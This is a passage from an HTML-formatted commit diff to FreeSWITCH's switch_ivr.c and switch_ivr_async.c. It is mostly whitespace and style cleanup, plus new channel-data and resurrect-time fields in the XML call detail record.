</ins><span class="cx">                                                                  switch_core_session_get_pool(session)) != SWITCH_STATUS_SUCCESS) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Codec Error L16@%uhz %u channels %dms\n",
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Codec Error L16@%uhz %u channels %dms\n",
</ins><span class="cx">                                                          imp.samples_per_second, imp.number_of_channels, imp.microseconds_per_packet / 1000);
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Codec Activated L16@%uhz %u channels %dms\n",
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Codec Activated L16@%uhz %u channels %dms\n",
</ins><span class="cx">                                                  imp.samples_per_second, imp.number_of_channels, imp.microseconds_per_packet / 1000);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 write_frame.codec = &codec;
</span><span class="cx">                 switch_zmalloc(abuf, SWITCH_RECOMMENDED_BUFFER_SIZE);
</span><span class="cx">                 write_frame.data = abuf;
</span><span class="lines">@@ -1033,7 +1034,7 @@
</span><span class="cx">                 switch_ivr_parse_all_events(session);
</span><span class="cx">
</span><span class="cx">
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (eff_timeout) {
</span><span class="cx">                         digit_elapsed = (uint32_t) ((switch_micro_time_now() - digit_started) / 1000);
</span><span class="cx">
</span><span class="lines">@@ -1046,7 +1047,7 @@
</span><span class="cx">                 if (switch_channel_has_dtmf(channel)) {
</span><span class="cx">                         switch_dtmf_t dtmf = { 0 };
</span><span class="cx">                         switch_size_t y;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (eff_timeout) {
</span><span class="cx">                                 eff_timeout = digit_timeout;
</span><span class="cx">                                 digit_started = switch_micro_time_now();
</span><span class="lines">@@ -1065,7 +1066,7 @@
</span><span class="cx">
</span><span class="cx">                                 buf[x++] = dtmf.digit;
</span><span class="cx">                                 buf[x] = '\0';
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (x >= buflen || x >= maxdigits) {
</span><span class="cx">                                         return SWITCH_STATUS_SUCCESS;
</span><span class="cx">                                 }
</span><span class="lines">@@ -1084,7 +1085,7 @@
</span><span class="cx">                                 switch_generate_sln_silence((int16_t *) write_frame.data, write_frame.samples, sval);
</span><span class="cx">                                 switch_core_session_write_frame(session, &write_frame, SWITCH_IO_FLAG_NONE, 0);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -1265,7 +1266,7 @@
</span><span class="cx">
</span><span class="cx">                 switch_channel_set_flag(channel, CF_REDIRECT);
</span><span class="cx">                 switch_channel_set_flag(channel, CF_RESET);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((flags & SMF_FORCE) || !switch_channel_test_flag(channel, CF_PROXY_MODE)) {
</span><span class="cx">                         if ((flags & SMF_REBRIDGE) && (other_uuid = switch_channel_get_variable(channel, SWITCH_BRIDGE_VARIABLE)) &&
</span><span class="cx">                                 (other_session = switch_core_session_locate(other_uuid))) {
</span><span class="lines">@@ -1280,7 +1281,7 @@
</span><span class="cx">                                 switch_channel_wait_for_flag(other_channel, CF_MEDIA_ACK, SWITCH_TRUE, 10000, NULL);
</span><span class="cx">                                 switch_channel_wait_for_flag(other_channel, CF_MEDIA_SET, SWITCH_TRUE, 10000, NULL);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_core_session_receive_message(session, &msg);
</span><span class="cx">
</span><span class="cx">                         if (!switch_core_session_in_thread(session)) {
</span><span class="lines">@@ -1290,7 +1291,7 @@
</span><span class="cx">                                 switch_channel_wait_for_flag(channel, CF_MEDIA_ACK, SWITCH_TRUE, 10000, NULL);
</span><span class="cx">                                 switch_channel_wait_for_flag(channel, CF_MEDIA_SET, SWITCH_TRUE, 10000, NULL);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (other_channel) {
</span><span class="cx">                                 if (swap) {
</span><span class="cx">                                         switch_ivr_signal_bridge(other_session, session);
</span><span class="lines">@@ -1344,7 +1345,7 @@
</span><span class="cx">
</span><span class="cx">         if ((profile = switch_channel_get_caller_profile(channel))) {
</span><span class="cx">                 const char *var;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (zstr(dialplan)) {
</span><span class="cx">                         dialplan = profile->dialplan;
</span><span class="cx">                         if (!zstr(dialplan) && !strcasecmp(dialplan, "inline")) {
</span><span class="lines">@@ -1375,7 +1376,7 @@
</span><span class="cx">                 if ((var = switch_channel_get_variable(channel, "force_transfer_context"))) {
</span><span class="cx">                         context = var;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 new_profile = switch_caller_profile_clone(session, profile);
</span><span class="cx">
</span><span class="cx">                 new_profile->dialplan = switch_core_strdup(new_profile->pool, dialplan);
</span><span class="lines">@@ -1428,8 +1429,8 @@
</span><span class="cx">                 msg.from = __FILE__;
</span><span class="cx">                 switch_core_session_receive_message(session, &msg);
</span><span class="cx">
</span><del>-                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Transfer %s to %s[%s@%s]\n", switch_channel_get_name(channel), dialplan, extension,
-                                                 context);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Transfer %s to %s[%s@%s]\n", switch_channel_get_name(channel), dialplan,
+                                                 extension, context);
</ins><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -1487,7 +1488,7 @@
</span><span class="cx">         switch_time_t last_digit_time;
</span><span class="cx"> };
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_parser_new(switch_memory_pool_t *pool, switch_ivr_digit_stream_parser_t **parser)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_parser_new(switch_memory_pool_t *pool, switch_ivr_digit_stream_parser_t ** parser)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">
</span><span class="lines">@@ -1545,7 +1546,7 @@
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_new(switch_ivr_digit_stream_parser_t *parser, switch_ivr_digit_stream_t **stream)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_new(switch_ivr_digit_stream_parser_t *parser, switch_ivr_digit_stream_t ** stream)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">
</span><span class="lines">@@ -1561,7 +1562,7 @@
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_destroy(switch_ivr_digit_stream_t **stream)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_ivr_digit_stream_destroy(switch_ivr_digit_stream_t ** stream)
</ins><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">
</span><span class="lines">@@ -1680,8 +1681,8 @@
</span><span class="cx">                         *stream->digits = '\0';
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         return result;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -1816,19 +1817,49 @@
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_caller_profile_t *caller_profile;
</span><span class="cx">         switch_xml_t variables, cdr, x_main_cp, x_caller_profile, x_caller_extension, x_times, time_tag,
</span><del>-                x_application, x_callflow, x_inner_extension, x_apps, x_o;
</del><ins>+                x_application, x_callflow, x_inner_extension, x_apps, x_o, x_channel_data, x_field;
</ins><span class="cx">         switch_app_log_t *app_log;
</span><del>-        char tmp[512];
-        int cdr_off = 0, v_off = 0;
</del><ins>+        char tmp[512], *f;
+        int cdr_off = 0, v_off = 0, cd_off = 0;
</ins><span class="cx">
</span><span class="cx">         if (!(cdr = switch_xml_new("cdr"))) {
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="cx">
</span><ins>+        if (!(x_channel_data = switch_xml_add_child_d(cdr, "channel_data", cdr_off++))) {
+                goto error;
+        }
+
+        x_field = switch_xml_add_child_d(x_channel_data, "state", cd_off++);
+        switch_xml_set_txt_d(x_field, switch_channel_state_name(switch_channel_get_state(channel)));
+
+        x_field = switch_xml_add_child_d(x_channel_data, "direction", cd_off++);
+        switch_xml_set_txt_d(x_field, switch_channel_direction(channel) == SWITCH_CALL_DIRECTION_OUTBOUND ? "outbound" : "inbound");
+
+        x_field = switch_xml_add_child_d(x_channel_data, "state_number", cd_off++);
+        switch_snprintf(tmp, sizeof(tmp), "%d", switch_channel_get_state(channel));
+        switch_xml_set_txt_d(x_field, tmp);
+
+        if ((f = switch_channel_get_flag_string(channel))) {
+                x_field = switch_xml_add_child_d(x_channel_data, "flags", cd_off++);
+                switch_xml_set_txt_d(x_field, f);
+                free(f);
+        }
+
+        if ((f = switch_channel_get_cap_string(channel))) {
+                x_field = switch_xml_add_child_d(x_channel_data, "caps", cd_off++);
+                switch_xml_set_txt_d(x_field, f);
+                free(f);
+        }
+
+
</ins><span class="cx">         if (!(variables = switch_xml_add_child_d(cdr, "variables", cdr_off++))) {
</span><span class="cx">                 goto error;
</span><span class="cx">         }
</span><span class="cx">
</span><ins>+        switch_ivr_set_xml_chan_vars(variables, channel, v_off);
+
+
</ins><span class="cx">         if ((app_log = switch_core_session_get_app_log(session))) {
</span><span class="cx">                 int app_off = 0;
</span><span class="cx">                 switch_app_log_t *ap;
</span><span class="lines">@@ -1847,7 +1878,6 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        switch_ivr_set_xml_chan_vars(variables, channel, v_off);
</del><span class="cx">
</span><span class="cx">         caller_profile = switch_channel_get_caller_profile(channel);
</span><span class="cx">
</span><span class="lines">@@ -1894,18 +1924,17 @@
</span><span class="cx">
</span><span class="cx">                         if (caller_profile->caller_extension->children) {
</span><span class="cx">                                 switch_caller_profile_t *cp = NULL;
</span><del>-                                int i_off = 0;
</del><ins>+                                int i_off = 0, i_app_off = 0;
</ins><span class="cx">                                 for (cp = caller_profile->caller_extension->children; cp; cp = cp->next) {
</span><del>-                                        app_off = 0;
</del><span class="cx">
</span><span class="cx">                                         if (!cp->caller_extension) {
</span><span class="cx">                                                 continue;
</span><span class="cx">                                         }
</span><del>-                                        if (!(x_inner_extension = switch_xml_add_child_d(x_caller_extension, "sub_extensions", i_off++))) {
</del><ins>+                                        if (!(x_inner_extension = switch_xml_add_child_d(x_caller_extension, "sub_extensions", app_off++))) {
</ins><span class="cx">                                                 goto error;
</span><span class="cx">                                         }
</span><span class="cx">
</span><del>-                                        if (!(x_caller_extension = switch_xml_add_child_d(x_inner_extension, "extension", cf_off++))) {
</del><ins>+                                        if (!(x_caller_extension = switch_xml_add_child_d(x_inner_extension, "extension", i_off++))) {
</ins><span class="cx">                                                 goto error;
</span><span class="cx">                                         }
</span><span class="cx">                                         switch_xml_set_attr_d(x_caller_extension, "name", cp->caller_extension->extension_name);
</span><span class="lines">@@ -1916,7 +1945,7 @@
</span><span class="cx">                                         }
</span><span class="cx">
</span><span class="cx">                                         for (ap = cp->caller_extension->applications; ap; ap = ap->next) {
</span><del>-                                                if (!(x_application = switch_xml_add_child_d(x_caller_extension, "application", app_off++))) {
</del><ins>+                                                if (!(x_application = switch_xml_add_child_d(x_caller_extension, "application", i_app_off++))) {
</ins><span class="cx">                                                         goto error;
</span><span class="cx">                                                 }
</span><span class="cx">                                                 if (ap == cp->caller_extension->current_application) {
</span><span class="lines">@@ -2006,6 +2035,12 @@
</span><span class="cx">                         switch_snprintf(tmp, sizeof(tmp), "%" SWITCH_TIME_T_FMT, caller_profile->times->hungup);
</span><span class="cx">                         switch_xml_set_txt_d(time_tag, tmp);
</span><span class="cx">
</span><ins>+                        if (!(time_tag = switch_xml_add_child_d(x_times, "resurrect_time", t_off++))) {
+                                goto error;
+                        }
+                        switch_snprintf(tmp, sizeof(tmp), "%" SWITCH_TIME_T_FMT, caller_profile->times->resurrected);
+                        switch_xml_set_txt_d(time_tag, tmp);
+
</ins><span class="cx">                         if (!(time_tag = switch_xml_add_child_d(x_times, "transfer_time", t_off++))) {
</span><span class="cx">                                 goto error;
</span><span class="cx">                         }
</span><span class="lines">@@ -2034,7 +2069,7 @@
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_channel_set_state(channel, CS_PARK);
</span><span class="cx">         switch_channel_set_flag(channel, CF_TRANSFER);
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> SWITCH_DECLARE(void) switch_ivr_delay_echo(switch_core_session_t *session, uint32_t delay_ms)
</span><span class="lines">@@ -2047,8 +2082,8 @@
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         uint32_t interval, samples;
</span><span class="cx">         uint32_t ts = 0;
</span><del>- switch_codec_implementation_t read_impl = {0};
- switch_core_session_get_read_impl(session, &read_impl);
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
+        switch_core_session_get_read_impl(session, &read_impl);
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">         if (delay_ms < 1 || delay_ms > 10000) {
</span><span class="lines">@@ -2097,7 +2132,7 @@
</span><span class="cx">         switch_event_t *hint_data;
</span><span class="cx">         switch_xml_t cfg, xml = NULL, language, macros;
</span><span class="cx">
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_assert(session);
</span><span class="cx">         channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_assert(channel);
</span><span class="lines">@@ -2171,7 +2206,7 @@
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         if (hint_data) {
</span><span class="cx">                 switch_event_destroy(&hint_data);
</span><span class="lines">@@ -2184,7 +2219,7 @@
</span><span class="cx">         if (xml) {
</span><span class="cx">                 switch_xml_free(xml);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -2194,18 +2229,18 @@
</span><span class="cx">
</span><span class="cx">         if (!buffer) {
</span><span class="cx">                 /*
</span><del>-                 if buffer is null then it just returns the str without the prefix appended, otherwise buffer contains the prefix followed by the original string
-                */
</del><ins>+                 if buffer is null then it just returns the str without the prefix appended, otherwise buffer contains the prefix followed by the original string
+                 */
</ins><span class="cx">
</span><span class="cx">                 return str;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         str_len = strlen(str);
</span><span class="cx">         memcpy(buffer, prefix, prefix_size);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (str_len + prefix_size + 1 > buffer_size) {
</span><del>-                memcpy(buffer + prefix_size, str, buffer_size-prefix_size - 1);
-                buffer[buffer_size-prefix_size - 1] = '\0';
</del><ins>+                memcpy(buffer + prefix_size, str, buffer_size - prefix_size - 1);
+                buffer[buffer_size - prefix_size - 1] = '\0';
</ins><span class="cx">         } else {
</span><span class="cx">                 memcpy(buffer + prefix_size, str, str_len + 1);
</span><span class="cx">         }
</span><span class="lines">@@ -2220,16 +2255,16 @@
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_FALSE;
</span><span class="cx">
</span><del>-        char * prefix_buffer = NULL, *prefix;
-        size_t buffer_size =0;
-        size_t prefix_size=0;
</del><ins>+        char *prefix_buffer = NULL, *prefix;
+        size_t buffer_size = 0;
+        size_t prefix_size = 0;
</ins><span class="cx">         if (zstr(data)) {
</span><span class="cx">                 goto error;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         user = switch_core_session_strdup(session, data);
</span><del>-        
-        if ((prefix = strchr(user, ' '))){
</del><ins>+
+        if ((prefix = strchr(user, ' '))) {
</ins><span class="cx">                 *prefix++ = 0;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -2289,8 +2324,8 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        switch_channel_set_variable(channel, get_prefixed_str(prefix_buffer,buffer_size,prefix,prefix_size,"user_name") , user);
-        switch_channel_set_variable(channel, get_prefixed_str(prefix_buffer,buffer_size,prefix,prefix_size,"domain_name") , domain);
</del><ins>+        switch_channel_set_variable(channel, get_prefixed_str(prefix_buffer, buffer_size, prefix, prefix_size, "user_name"), user);
+        switch_channel_set_variable(channel, get_prefixed_str(prefix_buffer, buffer_size, prefix, prefix_size, "domain_name"), domain);
</ins><span class="cx">
</span><span class="cx">         goto done;
</span><span class="cx">
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_ivr_asyncc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_ivr_async.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_ivr_async.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_ivr_async.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -83,7 +83,6 @@
</span><span class="cx">         if (switch_channel_pre_answer(channel) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #ifdef SWITCH_VIDEO_IN_THREADS
</span><span class="cx">         if (switch_channel_test_flag(channel, CF_VIDEO)) {
</span><span class="cx">                 eh.session = session;
</span><span class="lines">@@ -104,7 +103,7 @@
</span><span class="cx">
</span><span class="cx">                 if (args && (args->input_callback || args->buf || args->buflen)) {
</span><span class="cx">                         switch_dtmf_t dtmf;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         /*
</span><span class="cx">                          dtmf handler function you can hook up to be executed when a digit is dialed during playback
</span><span class="cx">                          if you return anything but SWITCH_STATUS_SUCCESS the playback will stop.
</span><span class="lines">@@ -122,7 +121,7 @@
</span><span class="cx">                                         status = SWITCH_STATUS_BREAK;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (args->input_callback) {
</span><span class="cx">                                 switch_event_t *event = NULL;
</span><span class="cx">
</span><span class="lines">@@ -355,8 +354,8 @@
</span><span class="cx">         switch_status_t status;
</span><span class="cx">         time_t to = 0;
</span><span class="cx">         displace_helper_t *dh;
</span><del>- switch_codec_implementation_t read_impl = {0};
- switch_core_session_get_read_impl(session, &read_impl);
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
+        switch_core_session_get_read_impl(session, &read_impl);
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">         if ((status = switch_channel_pre_answer(channel)) != SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -385,8 +384,7 @@
</span><span class="cx">         if (switch_core_file_open(&dh->fh,
</span><span class="cx">                                                          file,
</span><span class="cx">                                                          read_impl.number_of_channels,
</span><del>-                                                         read_impl.actual_samples_per_second,
-                                                         SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</del><ins>+                                                         read_impl.actual_samples_per_second, SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
</span><span class="cx">                 switch_core_session_reset(session, SWITCH_TRUE, SWITCH_TRUE);
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="lines">@@ -447,12 +445,12 @@
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_ABC_TYPE_CLOSE:
</span><span class="cx">                 {
</span><del>-                        switch_codec_implementation_t read_impl = {0};
</del><ins>+                        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">                         switch_core_session_get_read_impl(session, &read_impl);
</span><span class="cx">
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Stop recording file %s\n", rh->file);
</span><span class="cx">                         switch_channel_set_private(channel, rh->file, NULL);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_event_create(&event, SWITCH_EVENT_RECORD_STOP) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_channel_event_set_data(channel, event);
</span><span class="cx">                                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Record-File-Path", rh->file);
</span><span class="lines">@@ -463,16 +461,17 @@
</span><span class="cx">                                 switch_size_t len;
</span><span class="cx">                                 uint8_t data[SWITCH_RECOMMENDED_BUFFER_SIZE];
</span><span class="cx">                                 switch_frame_t frame = { 0 };
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                 frame.data = data;
</span><span class="cx">                                 frame.buflen = SWITCH_RECOMMENDED_BUFFER_SIZE;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                 while (switch_core_media_bug_read(bug, &frame, SWITCH_TRUE) == SWITCH_STATUS_SUCCESS && !switch_test_flag((&frame), SFF_CNG)) {
</span><span class="cx">                                         len = (switch_size_t) frame.datalen / 2;
</span><del>-                                        if (len) switch_core_file_write(rh->fh, data, &len);
</del><ins>+                                        if (len)
+                                                switch_core_file_write(rh->fh, data, &len);
</ins><span class="cx">                                 }
</span><del>-                                
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                                 switch_core_file_close(rh->fh);
</span><span class="cx">                                 if (rh->fh->samples_out < rh->fh->samplerate * rh->min_sec) {
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Discarding short file %s\n", rh->file);
</span><span class="lines">@@ -483,7 +482,7 @@
</span><span class="cx">
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_ABC_TYPE_READ:
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (rh->fh) {
</span><span class="cx">                         switch_size_t len;
</span><span class="cx">                         uint8_t data[SWITCH_RECOMMENDED_BUFFER_SIZE];
</span><span class="lines">@@ -491,10 +490,11 @@
</span><span class="cx">
</span><span class="cx">                         frame.data = data;
</span><span class="cx">                         frame.buflen = SWITCH_RECOMMENDED_BUFFER_SIZE;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         while (switch_core_media_bug_read(bug, &frame, SWITCH_TRUE) == SWITCH_STATUS_SUCCESS && !switch_test_flag((&frame), SFF_CNG)) {
</span><span class="cx">                                 len = (switch_size_t) frame.datalen / 2;
</span><del>-                                if (len) switch_core_file_write(rh->fh, data, &len);
</del><ins>+                                if (len)
+                                        switch_core_file_write(rh->fh, data, &len);
</ins><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                 }
</span><span class="lines">@@ -536,7 +536,7 @@
</span><span class="cx">         struct eavesdrop_pvt *ep = (struct eavesdrop_pvt *) user_data;
</span><span class="cx">         uint8_t data[SWITCH_RECOMMENDED_BUFFER_SIZE];
</span><span class="cx">         switch_frame_t frame = { 0 };
</span><del>-        
</del><ins>+
</ins><span class="cx">         frame.data = data;
</span><span class="cx">         frame.buflen = SWITCH_RECOMMENDED_BUFFER_SIZE;
</span><span class="cx">
</span><span class="lines">@@ -548,7 +548,7 @@
</span><span class="cx">         case SWITCH_ABC_TYPE_WRITE:
</span><span class="cx">                 break;
</span><span class="cx">         case SWITCH_ABC_TYPE_READ_PING:
</span><del>-                if (ep->buffer) {                        
</del><ins>+                if (ep->buffer) {
</ins><span class="cx">                         if (switch_core_media_bug_read(bug, &frame, SWITCH_TRUE) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                 switch_buffer_lock(ep->buffer);
</span><span class="cx">                                 switch_buffer_zwrite(ep->buffer, frame.data, frame.datalen);
</span><span class="lines">@@ -627,9 +627,10 @@
</span><span class="cx">                 uint32_t tlen;
</span><span class="cx">                 const char *macro_name = "eavesdrop_announce";
</span><span class="cx">                 const char *id_name = NULL;
</span><del>-                switch_codec_implementation_t tread_impl = {0}, read_impl = {0};
</del><ins>+                switch_codec_implementation_t tread_impl = { 0 }, read_impl = {
+                0};
</ins><span class="cx">                 switch_core_session_message_t msg = { 0 };
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!switch_channel_media_ready(channel)) {
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><span class="lines">@@ -665,8 +666,8 @@
</span><span class="cx">                         }
</span><span class="cx">                         /* Separate the group */
</span><span class="cx">                         data = strdup(group_name);
</span><del>-                        if ( (argc = switch_separate_string(data, ',', argv, (sizeof(argv) / sizeof(argv[0])))) ) {
-                                for ( i = 0; i < argc; i++ ) {
</del><ins>+                        if ((argc = switch_separate_string(data, ',', argv, (sizeof(argv) / sizeof(argv[0]))))) {
+                                for (i = 0; i < argc; i++) {
</ins><span class="cx">                                         /* If one of the group matches, then ok */
</span><span class="cx">                                         if (argv[i] && !strcmp(argv[i], require_group)) {
</span><span class="cx">                                                 ok = 1;
</span><span class="lines">@@ -675,7 +676,7 @@
</span><span class="cx">                         }
</span><span class="cx">                         switch_safe_free(data);
</span><span class="cx">                         /* If we didn't find any match, then end */
</span><del>-                        if ( !ok ) {
</del><ins>+                        if (!ok) {
</ins><span class="cx">                                 status = SWITCH_STATUS_BREAK;
</span><span class="cx">                                 goto end;
</span><span class="cx">                         }
</span><span class="lines">@@ -736,12 +737,12 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">                 msg.from = __FILE__;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 /* Tell the channel we are going to be in a bridge */
</span><span class="cx">                 msg.message_id = SWITCH_MESSAGE_INDICATE_BRIDGE;
</span><span class="cx">                 switch_core_session_receive_message(session, &msg);
</span><del>-                
</del><span class="cx">
</span><ins>+
</ins><span class="cx">                 while (switch_channel_ready(tchannel) && switch_channel_ready(channel)) {
</span><span class="cx">                         uint32_t len = sizeof(buf);
</span><span class="cx">                         switch_event_t *event = NULL;
</span><span class="lines">@@ -805,7 +806,7 @@
</span><span class="cx">                                                         switch_buffer_zero(ep->r_buffer);
</span><span class="cx">                                                         switch_buffer_unlock(ep->r_buffer);
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (ep->w_buffer) {
</span><span class="cx">                                                         switch_buffer_lock(ep->w_buffer);
</span><span class="cx">                                                         switch_buffer_zero(ep->w_buffer);
</span><span class="lines">@@ -844,7 +845,7 @@
</span><span class="cx">
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-        end_loop:
</del><ins>+         end_loop:
</ins><span class="cx">
</span><span class="cx">                 /* Tell the channel we are no longer going to be in a bridge */
</span><span class="cx">                 msg.message_id = SWITCH_MESSAGE_INDICATE_UNBRIDGE;
</span><span class="lines">@@ -854,7 +855,7 @@
</span><span class="cx">
</span><span class="cx">          end:
</span><span class="cx">
</span><del>-                if ( codec_initialized )
</del><ins>+                if (codec_initialized)
</ins><span class="cx">                         switch_core_codec_destroy(&codec);
</span><span class="cx">
</span><span class="cx">                 if (bug) {
</span><span class="lines">@@ -894,10 +895,10 @@
</span><span class="cx">         time_t to = 0;
</span><span class="cx">         switch_media_bug_flag_t flags = SMBF_READ_STREAM | SMBF_WRITE_STREAM | SMBF_READ_PING;
</span><span class="cx">         uint8_t channels;
</span><del>-        switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         struct record_helper *rh = NULL;
</span><span class="cx">         int file_flags = SWITCH_FILE_FLAG_WRITE | SWITCH_FILE_DATA_SHORT;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_session_get_read_impl(session, &read_impl);
</span><span class="cx">
</span><span class="cx">         if ((status = switch_channel_pre_answer(channel)) != SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -910,7 +911,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         channels = read_impl.number_of_channels;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((bug = switch_channel_get_private(channel, file))) {
</span><span class="cx">                 return switch_ivr_stop_record_session(session, file);
</span><span class="cx">         }
</span><span class="lines">@@ -929,13 +930,13 @@
</span><span class="cx">         if ((p = switch_channel_get_variable(channel, "RECORD_READ_ONLY")) && switch_true(p)) {
</span><span class="cx">                 flags &= ~SMBF_WRITE_STREAM;
</span><span class="cx">                 flags |= SMBF_READ_STREAM;
</span><del>-        }
</del><ins>+        }
</ins><span class="cx">
</span><span class="cx">         if ((p = switch_channel_get_variable(channel, "RECORD_STEREO")) && switch_true(p)) {
